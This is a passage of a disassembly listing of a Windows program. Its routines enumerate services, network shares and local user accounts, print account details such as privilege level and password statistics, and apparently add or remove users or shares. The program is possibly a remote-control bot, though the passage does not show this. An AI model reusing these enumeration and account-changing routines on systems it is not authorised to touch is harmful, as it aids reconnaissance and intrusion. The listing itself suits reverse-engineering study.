		push	offset aTheServiceHasN ; jumptable 00418AAA case 4
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418AF0:				; CODE XREF: sub_4189D8+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418AF5:				; CODE XREF: sub_4189D8+41j
					; sub_4189D8+4Bj ...
		push	offset dword_4DD568
		call	sub_41BA76
		pop	ecx
		pop	ecx
		jmp	short loc_418B16
; ---------------------------------------------------------------------------


loc_418B03:				; CODE XREF: sub_4189D8+36j
					; sub_4189D8+89j ...
		push	eax		; default
					; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DD568
		call	sub_41BA76
		add	esp, 0Ch


loc_418B16:				; CODE XREF: sub_4189D8+129j
		mov	eax, offset dword_4DD568
		retn
sub_4189D8	endp

; ---------------------------------------------------------------------------
off_418B1C	dd offset loc_418AC6	; DATA XREF: sub_4189D8+D2r
		dd offset loc_418ACD	; jump table for switch	statement
		dd offset loc_418AE2
		dd offset loc_418AE9
		dd offset loc_418AB1
		dd offset loc_418ABF
		dd offset loc_418AD4
		dd offset loc_418ADB
		dd offset loc_418AB8
		dd offset loc_418B03
byte_418B44	db	0,     9,     1,     2 ; DATA XREF: sub_4189D8+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B56	proc near		; CODE XREF: seg000:00406006p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_4CDBEC	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_418B8E:				; CODE XREF: sub_418B56+123j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_4CDBB8	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_418BC8
		call	ds:dword_42808C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_418C7F


loc_418BC8:				; CODE XREF: sub_418B56+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418C76
		lea	esi, [ebp+var_188]


loc_418BD9:				; CODE XREF: sub_418B56+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418C25
		dec	eax
		jz	short loc_418C1E
		dec	eax
		jz	short loc_418C17
		dec	eax
		jz	short loc_418C10
		dec	eax
		jz	short loc_418C09
		dec	eax
		jz	short loc_418C02
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_418BFB
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418C2D
; ---------------------------------------------------------------------------


loc_418BFB:				; CODE XREF: sub_418B56+9Cj
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418C2D
; ---------------------------------------------------------------------------


loc_418C02:				; CODE XREF: sub_418B56+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418C2A
; ---------------------------------------------------------------------------


loc_418C09:				; CODE XREF: sub_418B56+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418C2A
; ---------------------------------------------------------------------------


loc_418C10:				; CODE XREF: sub_418B56+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418C2A
; ---------------------------------------------------------------------------


loc_418C17:				; CODE XREF: sub_418B56+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418C2A
; ---------------------------------------------------------------------------


loc_418C1E:				; CODE XREF: sub_418B56+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418C2A
; ---------------------------------------------------------------------------


loc_418C25:				; CODE XREF: sub_418B56+87j
		push	offset aStopped	; "    Stopped"


loc_418C2A:				; CODE XREF: sub_418B56+B1j
					; sub_418B56+B8j ...
		lea	eax, [ebp+var_20]


loc_418C2D:				; CODE XREF: sub_418B56+A3j
					; sub_418B56+AAj
		push	eax
		call	sub_41BA76
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418BD9


loc_418C76:				; CODE XREF: sub_418B56+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418B8E


loc_418C7F:				; CODE XREF: sub_418B56+6Cj
		push	[ebp+var_C]
		call	ds:dword_4CDAF0	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C96	proc near		; CODE XREF: seg000:loc_4060CBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418D2F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418CBF
		dec	eax
		jnz	short loc_418D0F
		push	edi
		push	0
		call	sub_418E68
		pop	ecx
		pop	ecx
		jmp	short loc_418D0B
; ---------------------------------------------------------------------------


loc_418CBF:				; CODE XREF: sub_418C96+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418CFD
		push	24h
		push	edi
		call	sub_41C1A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418CFD
		push	57h
		pop	eax


loc_418CD6:				; CODE XREF: sub_418C96+77j
		push	eax
		call	sub_419636
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DD830
		push	ds:off_43B618[eax*4]
		push	offset unk_43BCD4
		push	esi
		call	sub_41BA76
		add	esp, 18h
		jmp	short loc_418D4F
; ---------------------------------------------------------------------------


loc_418CFD:				; CODE XREF: sub_418C96+2Dj
					; sub_418C96+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418DBC
		add	esp, 0Ch


loc_418D0B:				; CODE XREF: sub_418C96+27j
		test	eax, eax
		jnz	short loc_418CD6


loc_418D0F:				; CODE XREF: sub_418C96+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DD830
		push	ds:off_43B61C[eax*4]
		push	offset dword_43BCB8
		push	esi
		call	sub_41BA76
		add	esp, 10h
		jmp	short loc_418D4F
; ---------------------------------------------------------------------------


loc_418D2F:				; CODE XREF: sub_418C96+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DD830
		lea	eax, [eax+eax*2]
		push	ds:off_43B618[eax*4]
		push	offset unk_43BC94
		push	esi
		call	sub_41BA76
		add	esp, 0Ch


loc_418D4F:				; CODE XREF: sub_418C96+65j
					; sub_418C96+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418C96	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D55	proc near		; CODE XREF: sub_41A044+247p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418D62
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418D62:				; CODE XREF: sub_418D55+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_428180
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	ds:byte_4DDA30,	1
		mov	ebp, eax
		jnz	short loc_418D9F
		or	ds:byte_4DDA30,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D1B5
		pop	ecx
		mov	ds:dword_4DD7C8, eax


loc_418D9F:				; CODE XREF: sub_418D55+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_4DD7C8
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, ds:dword_4DD7C8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DBC	proc near		; CODE XREF: sub_418C96+6Dp
					; sub_41A36A+18Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418E27
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418E27
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C1A0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418E27
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_4CDAEC
		pop	edi
		leave
		retn
sub_418DBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418E27	proc near		; CODE XREF: sub_418DBC+Ap
					; sub_418DBC+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418E34
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418E27+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_428184
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D1B5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418E27	endp


; =============== S U B	R O U T	I N E =======================================



sub_418E68	proc near		; CODE XREF: sub_418C96+20p
					; sub_41A044+1BCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418E27
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418E27
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_4CDAC4
		pop	esi
		retn
sub_418E68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E8B	proc near		; CODE XREF: seg000:004060F7p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418E27
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 18h


loc_418EC4:				; CODE XREF: sub_418E8B+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_4CDB3C
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418F27
		cmp	ebx, 0EAh
		jz	short loc_418F27
		push	ebx
		push	ebx
		call	sub_419636
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_43BD20
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 24h
		jmp	short loc_418F94
; ---------------------------------------------------------------------------


loc_418F27:				; CODE XREF: sub_418E8B+5Dj
					; sub_418E8B+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418F8B
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418F35:				; CODE XREF: sub_418E8B+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_4CDAE0	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418F4C
		mov	eax, offset aNo	; "No"


loc_418F4C:				; CODE XREF: sub_418E8B+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418F35
		xor	esi, esi


loc_418F8B:				; CODE XREF: sub_418E8B+A2j
		push	[ebp+var_4]
		call	ds:dword_4CDC88


loc_418F94:				; CODE XREF: sub_418E8B+9Aj
		cmp	ebx, 0EAh
		jz	loc_418EC4
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418E8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FAC	proc near		; CODE XREF: seg000:loc_406162p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_419050
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418FEE
		dec	eax
		jz	short loc_418FE3
		dec	eax
		jnz	short loc_419009
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_4190F2
		add	esp, 14h
		jmp	short loc_419005
; ---------------------------------------------------------------------------


loc_418FE3:				; CODE XREF: sub_418FAC+1Dj
		push	ebx
		push	edi
		call	sub_4190D1
		pop	ecx
		pop	ecx
		jmp	short loc_419005
; ---------------------------------------------------------------------------


loc_418FEE:				; CODE XREF: sub_418FAC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419002
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_419077
		add	esp, 0Ch
		jmp	short loc_419005
; ---------------------------------------------------------------------------


loc_419002:				; CODE XREF: sub_418FAC+45j
		push	57h
		pop	eax


loc_419005:				; CODE XREF: sub_418FAC+35j
					; sub_418FAC+40j ...
		cmp	eax, edi
		jnz	short loc_419029


loc_419009:				; CODE XREF: sub_418FAC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DDA38
		push	ds:off_43B61C[eax*4]
		push	offset unk_43BDD8
		push	esi
		call	sub_41BA76
		add	esp, 10h
		jmp	short loc_419070
; ---------------------------------------------------------------------------


loc_419029:				; CODE XREF: sub_418FAC+5Bj
		push	eax
		call	sub_419636
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DDA38
		push	ds:off_43B618[eax*4]
		push	offset unk_43BDA8
		push	esi
		call	sub_41BA76
		add	esp, 18h
		jmp	short loc_419070
; ---------------------------------------------------------------------------


loc_419050:				; CODE XREF: sub_418FAC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DDA38
		lea	eax, [eax+eax*2]
		push	ds:off_43B618[eax*4]
		push	offset unk_43BD80
		push	esi
		call	sub_41BA76
		add	esp, 0Ch


loc_419070:				; CODE XREF: sub_418FAC+7Bj
					; sub_418FAC+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418FAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419077	proc near		; CODE XREF: sub_418FAC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418E27
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418E27
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418E27
		add	esp, 0Ch
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		lea	ecx, [ebp+var_4]
		mov	[ebp+var_20], eax
		xor	eax, eax
		push	ecx
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_4CDAD0
		pop	edi
		leave
		retn
sub_419077	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190D1	proc near		; CODE XREF: sub_418FAC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418E27
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418E27
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_4CDAC0
		pop	esi
		retn
sub_4190D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190F2	proc near		; CODE XREF: sub_418FAC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418E27
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418E27
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_4CDC50
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41947F
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4194BA
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41BA76
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_41920B
		dec	eax
		jz	short loc_419204
		dec	eax
		jz	short loc_4191FD
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419210
; ---------------------------------------------------------------------------


loc_4191FD:				; CODE XREF: sub_4190F2+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419210
; ---------------------------------------------------------------------------


loc_419204:				; CODE XREF: sub_4190F2+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_419210
; ---------------------------------------------------------------------------


loc_41920B:				; CODE XREF: sub_4190F2+FCj
		mov	eax, offset aGuest ; "Guest"


loc_419210:				; CODE XREF: sub_4190F2+109j
					; sub_4190F2+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409966
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4194AB
; ---------------------------------------------------------------------------


loc_41947F:				; CODE XREF: sub_4190F2+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43BDF8
		push	eax
		call	sub_41BA76
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409966
		add	esp, 20h


loc_4194AB:				; CODE XREF: sub_4190F2+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4194BA
		push	[ebp+var_4]
		call	ds:dword_4CDC88


loc_4194BA:				; CODE XREF: sub_4190F2+40j
					; sub_4190F2+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_4190F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4194C0	proc near		; CODE XREF: seg000:0040618Ep

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418E27
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 18h


loc_4194FF:				; CODE XREF: sub_4194C0+12Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_4CDB58
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419560
		cmp	eax, 0EAh
		jz	short loc_419560
		push	eax
		push	eax
		call	sub_419636
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_43BFE8
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 24h
		jmp	short loc_4195D1
; ---------------------------------------------------------------------------


